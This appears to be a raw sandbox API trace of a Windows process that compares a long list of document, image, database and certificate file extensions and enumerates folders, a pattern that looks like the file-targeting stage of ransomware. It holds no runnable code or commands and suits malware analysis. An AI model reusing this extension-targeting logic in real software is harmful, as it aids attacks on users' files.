	[0205.802] lstrlenW (lpString=".docm") returned 5
	[0205.802] lstrcmpiW (lpString1=".docm", lpString2="0.dll") returned -1
	[0205.802] lstrlenW (lpString=".docx") returned 5
	[0205.802] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0205.802] lstrlenW (lpString=".dot") returned 4
	[0205.802] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0205.802] lstrlenW (lpString=".dotm") returned 5
	[0205.802] lstrcmpiW (lpString1=".dotm", lpString2="0.dll") returned -1
	[0205.802] lstrlenW (lpString=".dotx") returned 5
	[0205.802] lstrcmpiW (lpString1=".dotx", lpString2="0.dll") returned -1
	[0205.803] lstrlenW (lpString=".dpx") returned 4
	[0205.803] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0205.803] lstrlenW (lpString=".dqy") returned 4
	[0205.803] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0205.803] lstrlenW (lpString=".dsn") returned 4
	[0205.803] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0205.803] lstrlenW (lpString=".dt") returned 3
	[0205.803] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0205.803] lstrlenW (lpString=".dtd") returned 4
	[0205.803] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0205.803] lstrlenW (lpString=".dwg") returned 4
	[0205.803] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0205.803] lstrlenW (lpString=".dwt") returned 4
	[0205.803] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0205.803] lstrlenW (lpString=".dx") returned 3
	[0205.803] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0205.803] lstrlenW (lpString=".dxf") returned 4
	[0205.803] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0205.803] lstrlenW (lpString=".edml") returned 5
	[0205.803] lstrcmpiW (lpString1=".edml", lpString2="0.dll") returned -1
	[0205.803] lstrlenW (lpString=".efd") returned 4
	[0205.803] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0205.803] lstrlenW (lpString=".elf") returned 4
	[0205.803] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0205.803] lstrlenW (lpString=".emf") returned 4
	[0205.803] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0205.803] lstrlenW (lpString=".emz") returned 4
	[0205.803] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0205.803] lstrlenW (lpString=".epf") returned 4
	[0205.803] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0205.803] lstrlenW (lpString=".eps") returned 4
	[0205.803] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0205.803] lstrlenW (lpString=".epsf") returned 5
	[0205.803] lstrcmpiW (lpString1=".epsf", lpString2="0.dll") returned -1
	[0205.804] lstrlenW (lpString=".epsp") returned 5
	[0205.804] lstrcmpiW (lpString1=".epsp", lpString2="0.dll") returned -1
	[0205.804] lstrlenW (lpString=".erf") returned 4
	[0205.804] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0205.804] lstrlenW (lpString=".exr") returned 4
	[0205.804] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0205.804] lstrlenW (lpString=".f4v") returned 4
	[0205.804] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0205.804] lstrlenW (lpString=".fido") returned 5
	[0205.804] lstrcmpiW (lpString1=".fido", lpString2="0.dll") returned -1
	[0205.804] lstrlenW (lpString=".flm") returned 4
	[0205.804] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0205.804] lstrlenW (lpString=".flv") returned 4
	[0205.804] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0205.804] lstrlenW (lpString=".frm") returned 4
	[0205.804] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0205.804] lstrlenW (lpString=".fxg") returned 4
	[0205.804] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0205.804] lstrlenW (lpString=".geo") returned 4
	[0205.804] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0205.804] lstrlenW (lpString=".gif") returned 4
	[0205.804] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0205.804] lstrlenW (lpString=".grs") returned 4
	[0205.804] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0205.804] lstrlenW (lpString=".gz") returned 3
	[0205.804] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0205.804] lstrlenW (lpString=".h") returned 2
	[0205.804] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0205.804] lstrlenW (lpString=".hdr") returned 4
	[0205.804] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0205.804] lstrlenW (lpString=".hpp") returned 4
	[0205.804] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0205.804] lstrlenW (lpString=".hta") returned 4
	[0205.804] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0205.805] lstrlenW (lpString=".htc") returned 4
	[0205.805] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0205.805] lstrlenW (lpString=".htm") returned 4
	[0205.805] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0205.805] lstrlenW (lpString=".html") returned 5
	[0205.805] lstrcmpiW (lpString1=".html", lpString2="0.dll") returned -1
	[0205.805] lstrlenW (lpString=".icb") returned 4
	[0205.805] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0205.805] lstrlenW (lpString=".ics") returned 4
	[0205.805] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0205.805] lstrlenW (lpString=".iff") returned 4
	[0205.805] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0205.805] lstrlenW (lpString=".inc") returned 4
	[0205.805] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0205.805] lstrlenW (lpString=".indd") returned 5
	[0205.805] lstrcmpiW (lpString1=".indd", lpString2="0.dll") returned -1
	[0205.805] lstrlenW (lpString=".ini") returned 4
	[0205.805] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0205.805] lstrlenW (lpString=".iqy") returned 4
	[0205.805] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0205.805] lstrlenW (lpString=".j2c") returned 4
	[0205.805] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0205.805] lstrlenW (lpString=".j2k") returned 4
	[0205.805] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0205.805] lstrlenW (lpString=".java") returned 5
	[0205.805] lstrcmpiW (lpString1=".java", lpString2="0.dll") returned -1
	[0205.805] lstrlenW (lpString=".jp2") returned 4
	[0205.805] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0205.805] lstrlenW (lpString=".jpc") returned 4
	[0205.805] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0205.805] lstrlenW (lpString=".jpe") returned 4
	[0205.805] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0205.805] lstrlenW (lpString=".jpeg") returned 5
	[0205.805] lstrcmpiW (lpString1=".jpeg", lpString2="0.dll") returned -1
	[0205.805] lstrlenW (lpString=".jpf") returned 4
	[0205.806] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0205.806] lstrlenW (lpString=".jpg") returned 4
	[0205.806] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0205.806] lstrlenW (lpString=".jpx") returned 4
	[0205.806] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0205.806] lstrlenW (lpString=".js") returned 3
	[0205.806] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0205.806] lstrlenW (lpString=".jsf") returned 4
	[0205.806] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0205.806] lstrlenW (lpString=".json") returned 5
	[0205.806] lstrcmpiW (lpString1=".json", lpString2="0.dll") returned -1
	[0205.806] lstrlenW (lpString=".jsp") returned 4
	[0205.806] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0205.806] lstrlenW (lpString=".kdc") returned 4
	[0205.806] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0205.806] lstrlenW (lpString=".kmz") returned 4
	[0205.806] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0205.806] lstrlenW (lpString=".kwm") returned 4
	[0205.806] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0205.806] lstrlenW (lpString=".lasso") returned 6
	[0205.806] lstrcmpiW (lpString1=".lasso", lpString2="20.dll") returned -1
	[0205.806] lstrlenW (lpString=".lbi") returned 4
	[0205.806] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0205.806] lstrlenW (lpString=".lgf") returned 4
	[0205.806] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0205.806] lstrlenW (lpString=".lgp") returned 4
	[0205.806] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0205.806] lstrlenW (lpString=".log") returned 4
	[0205.806] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0205.806] lstrlenW (lpString=".m1v") returned 4
	[0205.806] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0205.806] lstrlenW (lpString=".m4a") returned 4
	[0205.806] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0205.806] lstrlenW (lpString=".m4v") returned 4
	[0205.807] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0205.807] lstrlenW (lpString=".max") returned 4
	[0205.807] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0205.807] lstrlenW (lpString=".md") returned 3
	[0205.807] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0205.807] lstrlenW (lpString=".mda") returned 4
	[0205.807] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0205.807] lstrlenW (lpString=".mdb") returned 4
	[0205.807] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0205.807] lstrlenW (lpString=".mde") returned 4
	[0205.807] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0205.807] lstrlenW (lpString=".mdf") returned 4
	[0205.807] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0205.807] lstrlenW (lpString=".mdw") returned 4
	[0205.807] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0205.807] lstrlenW (lpString=".mef") returned 4
	[0205.807] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0205.807] lstrlenW (lpString=".mft") returned 4
	[0205.807] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0205.807] lstrlenW (lpString=".mfw") returned 4
	[0205.807] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0205.807] lstrlenW (lpString=".mht") returned 4
	[0205.807] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0205.807] lstrlenW (lpString=".mhtml") returned 6
	[0205.807] lstrcmpiW (lpString1=".mhtml", lpString2="20.dll") returned -1
	[0205.807] lstrlenW (lpString=".mka") returned 4
	[0205.807] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0205.807] lstrlenW (lpString=".mkidx") returned 6
	[0205.807] lstrcmpiW (lpString1=".mkidx", lpString2="20.dll") returned -1
	[0205.807] lstrlenW (lpString=".mkv") returned 4
	[0205.807] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0205.807] lstrlenW (lpString=".mos") returned 4
	[0205.807] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0205.807] lstrlenW (lpString=".mov") returned 4
	[0205.807] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".mp3") returned 4
	[0205.808] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".mp4") returned 4
	[0205.808] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".mpeg") returned 5
	[0205.808] lstrcmpiW (lpString1=".mpeg", lpString2="0.dll") returned -1
	[0205.808] lstrlenW (lpString=".mpg") returned 4
	[0205.808] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".mpv") returned 4
	[0205.808] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".mrw") returned 4
	[0205.808] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".msg") returned 4
	[0205.808] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".mxl") returned 4
	[0205.808] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".myd") returned 4
	[0205.808] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".myi") returned 4
	[0205.808] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".nef") returned 4
	[0205.808] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".nrw") returned 4
	[0205.808] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".obj") returned 4
	[0205.808] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".odb") returned 4
	[0205.808] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".odc") returned 4
	[0205.808] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".odm") returned 4
	[0205.808] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0205.808] lstrlenW (lpString=".odp") returned 4
	[0205.808] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".ods") returned 4
	[0205.809] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".oft") returned 4
	[0205.809] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".one") returned 4
	[0205.809] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".onepkg") returned 7
	[0205.809] lstrcmpiW (lpString1=".onepkg", lpString2="120.dll") returned -1
	[0205.809] lstrlenW (lpString=".onetoc2") returned 8
	[0205.809] lstrcmpiW (lpString1=".onetoc2", lpString2="r120.dll") returned -1
	[0205.809] lstrlenW (lpString=".opt") returned 4
	[0205.809] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".oqy") returned 4
	[0205.809] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".orf") returned 4
	[0205.809] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".p12") returned 4
	[0205.809] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".p7b") returned 4
	[0205.809] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".p7c") returned 4
	[0205.809] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".pam") returned 4
	[0205.809] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".pbm") returned 4
	[0205.809] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".pct") returned 4
	[0205.809] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".pcx") returned 4
	[0205.809] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".pdd") returned 4
	[0205.809] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0205.809] lstrlenW (lpString=".pdf") returned 4
	[0205.809] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0205.810] lstrlenW (lpString=".pdp") returned 4
	[0205.810] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0205.810] lstrlenW (lpString=".pef") returned 4
	[0205.810] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0205.810] lstrlenW (lpString=".pem") returned 4
	[0205.810] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0205.810] lstrlenW (lpString=".pff") returned 4
	[0205.810] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0205.810] lstrlenW (lpString=".pfm") returned 4
	[0205.810] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0205.810] lstrlenW (lpString=".pfx") returned 4
	[0205.810] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0205.810] lstrlenW (lpString=".pgm") returned 4
	[0205.810] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0205.810] lstrlenW (lpString=".php") returned 4
	[0205.810] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0205.810] lstrlenW (lpString=".php3") returned 5
	[0205.810] lstrcmpiW (lpString1=".php3", lpString2="0.dll") returned -1
	[0205.810] lstrlenW (lpString=".php4") returned 5
	[0205.810] lstrcmpiW (lpString1=".php4", lpString2="0.dll") returned -1
	[0205.810] lstrlenW (lpString=".php5") returned 5
	[0205.810] lstrcmpiW (lpString1=".php5", lpString2="0.dll") returned -1
	[0205.810] lstrlenW (lpString=".phtml") returned 6
	[0205.810] lstrcmpiW (lpString1=".phtml", lpString2="20.dll") returned -1
	[0205.810] lstrlenW (lpString=".pict") returned 5
	[0205.810] lstrcmpiW (lpString1=".pict", lpString2="0.dll") returned -1
	[0205.810] lstrlenW (lpString=".pl") returned 3
	[0205.810] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0205.810] lstrlenW (lpString=".pls") returned 4
	[0205.810] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0205.810] lstrlenW (lpString=".pm") returned 3
	[0205.810] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0205.810] lstrlenW (lpString=".png") returned 4
	[0205.810] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0205.811] lstrlenW (lpString=".pnm") returned 4
	[0205.811] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0205.811] lstrlenW (lpString=".pot") returned 4
	[0205.811] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0205.811] lstrlenW (lpString=".potm") returned 5
	[0205.845] lstrcmpiW (lpString1=".potm", lpString2="0.dll") returned -1
	[0205.845] lstrlenW (lpString=".potx") returned 5
	[0205.845] lstrcmpiW (lpString1=".potx", lpString2="0.dll") returned -1
	[0205.845] lstrlenW (lpString=".ppa") returned 4
	[0205.845] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0205.845] lstrlenW (lpString=".ppam") returned 5
	[0205.845] lstrcmpiW (lpString1=".ppam", lpString2="0.dll") returned -1
	[0205.845] lstrlenW (lpString=".ppm") returned 4
	[0205.845] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0205.845] lstrlenW (lpString=".pps") returned 4
	[0205.845] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0205.845] lstrlenW (lpString=".ppsm") returned 5
	[0205.845] lstrcmpiW (lpString1=".ppsm", lpString2="0.dll") returned -1
	[0205.845] lstrlenW (lpString=".ppt") returned 4
	[0205.845] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0205.845] lstrlenW (lpString=".pptm") returned 5
	[0205.845] lstrcmpiW (lpString1=".pptm", lpString2="0.dll") returned -1
	[0205.845] lstrlenW (lpString=".pptx") returned 5
	[0205.845] lstrcmpiW (lpString1=".pptx", lpString2="0.dll") returned -1
	[0205.845] lstrlenW (lpString=".prn") returned 4
	[0205.845] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0205.845] lstrlenW (lpString=".ps") returned 3
	[0205.845] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0205.845] lstrlenW (lpString=".psb") returned 4
	[0205.846] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0205.846] lstrlenW (lpString=".psd") returned 4
	[0205.846] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0205.846] lstrlenW (lpString=".pst") returned 4
	[0205.846] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0205.846] lstrlenW (lpString=".ptx") returned 4
	[0205.846] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0205.846] lstrlenW (lpString=".pub") returned 4
	[0205.846] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0205.846] lstrlenW (lpString=".pwm") returned 4
	[0205.846] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0205.846] lstrlenW (lpString=".pxr") returned 4
	[0205.846] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0205.846] lstrlenW (lpString=".py") returned 3
	[0205.846] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0205.846] lstrlenW (lpString=".qt") returned 3
	[0205.846] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0205.846] lstrlenW (lpString=".r3d") returned 4
	[0205.846] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0205.846] lstrlenW (lpString=".raf") returned 4
	[0205.846] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0205.846] lstrlenW (lpString=".rar") returned 4
	[0205.846] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0205.846] lstrlenW (lpString=".raw") returned 4
	[0205.846] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0205.847] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4413078 | out: hHeap=0x560000) returned 1
	[0205.847] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="ink", cAlternateFileName="")) returned 1
	[0205.848] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.848] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0205.848] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.848] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0205.848] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.848] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0205.849] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.849] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0205.849] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.849] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0205.849] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.849] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0205.849] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.849] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="en-US", cAlternateFileName="")) returned 1
	[0205.851] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.851] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0205.852] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
